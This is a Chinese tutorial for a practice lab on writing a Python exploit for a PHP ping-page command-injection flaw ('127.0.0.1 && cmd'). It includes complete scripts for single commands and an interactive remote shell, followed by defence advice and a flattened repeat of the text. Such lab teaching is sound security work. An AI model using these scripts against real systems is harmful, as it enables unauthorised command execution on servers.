python分享 | 写出自己的第一个exp
字数 1137 2025-08-20 18:17:02

Python编写第一个EXP教程

一、环境准备

1.1 靶场环境

  • 使用DVWA或类似靶场的RCE漏洞环境(如文中提到的pakachu靶场的rce_ping靶场)
  • 靶场搭建教程可在网上搜索获取

1.2 开发工具

  • PyCharm IDE(或其他Python开发环境)
  • Python 3.x环境
  • Burp Suite(用于抓包分析)

二、漏洞分析

2.1 漏洞位置

  • 靶场中存在一个ping功能,用户可输入IP地址进行ping测试
  • 查看源码文件vul/rce/rec_ping.php发现漏洞点

2.2 漏洞原理

  • 用户可控的POST参数ipaddress被直接带入shell_exec()函数中
  • 未做任何过滤或转义,导致命令注入漏洞
  • 可通过&&符号拼接执行任意系统命令

2.3 漏洞验证

  1. 输入127.0.0.1 && calc可弹出计算器
  2. 输入127.0.0.1 && echo "test"可输出字符串

三、EXP编写步骤

3.1 抓包分析

  1. 使用Burp Suite拦截正常ping请求
  2. 分析请求格式和参数

3.2 使用Copy As Python-Requests插件

  1. 在Burp Suite中右键选择插件"Copy As Python-Requests"
  2. 将生成的Python代码复制到PyCharm中

3.3 简化请求头

  • 删除不必要的HTTP头,保留最简形式:
    • Content-Type
    • User-Agent(可选)
    • Cookie(如有认证需要)

3.4 构造EXP代码

import requests

target_url = "http://靶场地址/vul/rce/rce_ping.php"
payload = "127.0.0.1 && whoami"  # 替换为要执行的命令

data = {
    "ipaddress": payload,
    "submit": "submit"
}

response = requests.post(target_url, data=data)
print(response.text)

3.5 功能扩展

  1. 添加命令交互功能:
while True:
    cmd = input("$ ")
    if cmd.lower() in ['exit', 'quit']:
        break
    payload = f"127.0.0.1 && {cmd}"
    data["ipaddress"] = payload
    response = requests.post(target_url, data=data)
    print(response.text.split("<pre>")[1].split("</pre>")[0])  # 提取命令输出部分
  1. 添加错误处理:
try:
    response = requests.post(target_url, data=data, timeout=5)
    response.raise_for_status()
except requests.exceptions.RequestException as e:
    print(f"请求失败: {e}")

四、EXP优化技巧

4.1 编码处理

  • 对特殊字符进行URL编码:
from urllib.parse import quote
payload = "127.0.0.1 && " + quote("your_command")

4.2 结果提取

  • 使用正则表达式或字符串分割提取命令输出结果

4.3 多线程/协程

  • 对于批量检测可使用多线程提高效率

4.4 参数化配置

  • 将目标URL、命令前缀等提取为可配置参数

五、防御建议

  1. 输入验证:

    • 使用正则表达式严格限制输入格式(仅允许IP地址格式)
  2. 使用安全函数:

    • 替换shell_exec()为更安全的函数
    • 使用escapeshellarg()对参数进行转义
  3. 最小权限原则:

    • Web服务器以低权限用户运行
  4. 禁用危险函数:

    • 在php.ini中禁用shell_exec()等危险函数

六、完整EXP示例

#!/usr/bin/env python3
import requests
import urllib.parse
import argparse

def exploit(target_url, command):
    """
    执行命令注入漏洞利用
    :param target_url: 目标URL
    :param command: 要执行的命令
    :return: 命令执行结果
    """
    # 编码特殊字符
    payload = f"127.0.0.1 && {urllib.parse.quote(command)}"
    
    data = {
        "ipaddress": payload,
        "submit": "submit"
    }
    
    try:
        response = requests.post(
            target_url,
            data=data,
            timeout=10,
            headers={
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
            }
        )
        response.raise_for_status()
        
        # 提取命令输出部分(根据实际页面结构调整)
        if "<pre>" in response.text:
            return response.text.split("<pre>")[1].split("</pre>")[0].strip()
        return response.text
    except requests.exceptions.RequestException as e:
        return f"请求失败: {e}"

def interactive_shell(target_url):
    """
    交互式命令执行shell
    :param target_url: 目标URL
    """
    print("[+] 进入交互式shell (输入exit或quit退出)")
    while True:
        try:
            cmd = input("$ ")
            if cmd.lower() in ['exit', 'quit']:
                break
            if not cmd.strip():
                continue
                
            result = exploit(target_url, cmd)
            print(result)
        except KeyboardInterrupt:
            print("\n[!] 用户中断")
            break
        except Exception as e:
            print(f"[!] 错误: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="RCE漏洞利用工具")
    parser.add_argument("-u", "--url", required=True, help="目标URL")
    parser.add_argument("-c", "--command", help="要执行的命令")
    args = parser.parse_args()
    
    if args.command:
        print(exploit(args.url, args.command))
    else:
        interactive_shell(args.url)

七、总结

  1. 通过本教程可以学习到:

    • 如何分析简单的RCE漏洞
    • 使用Python编写基础EXP的方法
    • 如何优化和扩展EXP功能
  2. 进一步学习方向:

    • 学习更复杂的漏洞利用技术
    • 研究各种Web安全漏洞的利用方式
    • 掌握Python网络编程和安全工具开发
  3. 注意事项:

    • 仅用于合法授权的安全测试
    • 实际渗透测试中需获得书面授权
    • 遵守当地法律法规
Python编写第一个EXP教程 一、环境准备 1.1 靶场环境 使用DVWA或类似靶场的RCE漏洞环境(如文中提到的pakachu靶场的rce_ ping靶场) 靶场搭建教程可在网上搜索获取 1.2 开发工具 PyCharm IDE(或其他Python开发环境) Python 3.x环境 Burp Suite(用于抓包分析) 二、漏洞分析 2.1 漏洞位置 靶场中存在一个ping功能,用户可输入IP地址进行ping测试 查看源码文件 vul/rce/rec_ping.php 发现漏洞点 2.2 漏洞原理 用户可控的POST参数 ipaddress 被直接带入 shell_exec() 函数中 未做任何过滤或转义,导致命令注入漏洞 可通过 && 符号拼接执行任意系统命令 2.3 漏洞验证 输入 127.0.0.1 && calc 可弹出计算器 输入 127.0.0.1 && echo "test" 可输出字符串 三、EXP编写步骤 3.1 抓包分析 使用Burp Suite拦截正常ping请求 分析请求格式和参数 3.2 使用Copy As Python-Requests插件 在Burp Suite中右键选择插件"Copy As Python-Requests" 将生成的Python代码复制到PyCharm中 3.3 简化请求头 删除不必要的HTTP头,保留最简形式: Content-Type User-Agent (可选) Cookie (如有认证需要) 3.4 构造EXP代码 3.5 功能扩展 添加命令交互功能: 添加错误处理: 四、EXP优化技巧 4.1 编码处理 对特殊字符进行URL编码: 4.2 结果提取 使用正则表达式或字符串分割提取命令输出结果 4.3 多线程/协程 对于批量检测可使用多线程提高效率 4.4 参数化配置 将目标URL、命令前缀等提取为可配置参数 五、防御建议 输入验证: 使用正则表达式严格限制输入格式(仅允许IP地址格式) 使用安全函数: 替换 shell_exec() 为更安全的函数 使用 escapeshellarg() 对参数进行转义 最小权限原则: Web服务器以低权限用户运行 禁用危险函数: 在php.ini中禁用 shell_exec() 等危险函数 六、完整EXP示例 七、总结 通过本教程可以学习到: 如何分析简单的RCE漏洞 使用Python编写基础EXP的方法 如何优化和扩展EXP功能 进一步学习方向: 学习更复杂的漏洞利用技术 研究各种Web安全漏洞的利用方式 掌握Python网络编程和安全工具开发 注意事项: 仅用于合法授权的安全测试 实际渗透测试中需获得书面授权 遵守当地法律法规